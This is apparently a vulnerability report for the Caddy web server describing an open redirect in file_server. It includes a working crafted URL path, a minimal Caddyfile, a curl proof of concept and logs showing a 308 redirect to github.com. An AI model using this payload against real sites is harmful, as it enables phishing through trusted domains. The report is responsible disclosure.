Open redirect on carefully crafted paths
Issue Details
Summary
Caddy will return a 308 to any website when given URLs of the shape:
https://example.org/public/..%2F%5cgithub.com%2F%3f%2F..%2F..
This one will land you on github.com.
Details
I managed to find similar issues in the past: https://caddy.community/t/does-caddy-do-a-308-redirect-somehow/15035
They were resolved by improving the MatchPath sanitizing: https://github.com/caddyserver/caddy/pull/4499
I am assuming the current rules there don't correctly catch the URL pattern above. I did not try to further minimize the path, to see which specific pieces are necessary to trigger the behaviour.
The open redirect was reported against our website. I verified the issue and pinned it down to Caddy behaviour.
I did minimize the Caddyfile necessary to trigger the behaviour.
I did not use any LLM for any part of this.
PoC
- Create a barebones Caddyfile: both
rootandfile_serverdirective are necessary
# Global options not needed, but enabling debug was requested for the report
{
admin off
debug
}
:{$PORT} {
# Enabling access logs to make it easier to visualize (not necessary)
log
# Set this path to your site's directory.
root * /usr/share/caddy
# Enable the static file server.
file_server
}
- Start the caddy-server
/srv # caddy version
v2.11.4 h1:XKxkMTgNSizEvKG6QHue6cAsFOteU2qA61w2tKkCWi0=
/src # caddy run --config /etc/caddy/Caddyfile
/srv # caddy run --config /etc/caddy/Caddyfile
2026/09/11 16:32:59.617 INFO maxprocs: Leaving GOMAXPROCS=10: CPU quota undefined
2026/09/11 16:32:59.617 INFO GOMEMLIMIT is updated {"GOMEMLIMIT": 7393366425, "previous": 9223372036854775807}
2026/09/11 16:32:59.617 INFO using config from file {"file": "/etc/caddy/Caddyfile"}
2026/09/11 16:32:59.617 INFO adapted config to JSON {"adapter": "caddyfile"}
2026/09/11 16:32:59.617 WARN admin admin endpoint disabled
2026/09/11 16:32:59.618 WARN http.auto_https server is listening only on the HTTP port, so no automatic HTTPS will be applied to this server {"server_name": "srv0", "http_port": 80}
2026/09/11 16:32:59.618 DEBUG http.auto_https all servers have automatic HTTPS disabled and no domains need certificates, skipping TLS automation setup
2026/09/11 16:32:59.618 INFO tls.cache.maintenance started background certificate maintenance {"cache": "0x6cfdb980d480"}
2026/09/11 16:32:59.623 DEBUG http starting server loop {"address": "[::]:80", "tls": false, "http3": false}
2026/09/11 16:32:59.623 WARN http HTTP/2 skipped because it requires TLS {"network": "tcp", "addr": ":80"}
2026/09/11 16:32:59.623 WARN http HTTP/3 skipped because it requires TLS {"network": "tcp", "addr": ":80"}
2026/09/11 16:32:59.623 INFO http.log server running {"name": "srv0", "protocols": ["h1", "h2", "h3"]}
2026/09/11 16:32:59.624 DEBUG events event {"name": "started", "id": "7739a42f-64be-45d0-a8bb-02410aad61b9", "origin": "", "data": null}
2026/09/11 16:32:59.624 INFO autosaved config (load with --resume flag) {"file": "/config/caddy/autosave.json"}
2026/09/11 16:32:59.624 INFO serving initial configuration
2026/09/11 16:32:59.626 INFO tls cleaning storage unit {"storage": "FileStorage:/data/caddy"}
2026/09/11 16:32:59.627 INFO tls finished cleaning storage units
- Request the malicious URL
➜ curl http://localhost:12345/public/..%2F%5cgithub.com%2F%3f%2F..%2F.. -v
* Host localhost:12345 was resolved.
* IPv6: ::1
* IPv4: 127.0.0.1
* Trying [::1]:12345...
* Connected to localhost (::1) port 12345
> GET /public/..%2F%5cgithub.com%2F%3f%2F..%2F.. HTTP/1.1
> Host: localhost:12345
> User-Agent: curl/8.7.1
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 308 Permanent Redirect
< Content-Type: text/html; charset=utf-8
< Location: /\github.com/?/../../
< Server: Caddy
< Date: Fri, 11 Sep 2026 16:35:25 GMT
< Content-Length: 57
<
<a href="/\github.com/?/../../">Permanent Redirect</a>.
* Connection #0 to host localhost left intact
Caddy logs:
2026/09/11 16:35:25.339 DEBUG http.handlers.file_server sanitized path join {"site_root": "/usr/share/caddy", "fs": "", "request_path": "/public/../\\github.com/?/../..", "result": "/usr/share/caddy"}
2026/09/11 16:35:25.340 DEBUG http.handlers.file_server located index file {"filename": "/usr/share/caddy/index.html"}
2026/09/11 16:35:25.340 DEBUG http.handlers.file_server redirecting to canonical URI (adding trailing slash for directory {"from_path": "/public/../\\github.com/?/../..", "to_path": "/public/../\\github.com/?/../../"}
2026/09/11 16:35:25.340 INFO http.log.access handled request {"request": {"remote_ip": "192.168.65.1", "remote_port": "47648", "client_ip": "192.168.65.1", "proto": "HTTP/1.1", "method": "GET", "host": "localhost:12345", "uri": "/public/..%2F%5cgithub.com%2F%3f%2F..%2F..", "headers": {"User-Agent": ["curl/8.7.1"], "Accept": ["*/*"]}}, "bytes_read": 0, "user_id": "", "duration": 0.002561, "size": 57, "status": 308, "resp_headers": {"Content-Type": ["text/html; charset=utf-8"], "Server": ["Caddy"], "Location": ["/\\github.com/?/../../"]}}
In a browser, this lands you on github.com.
Impact
This type of open redirect is extremely useful in phishing campaigns, since most of the URL will actually be the domain being impersonated.
Assistance Disclosure
No response
If AI was used, describe the extent to which it was used.
No response
Source: caddyserver/caddy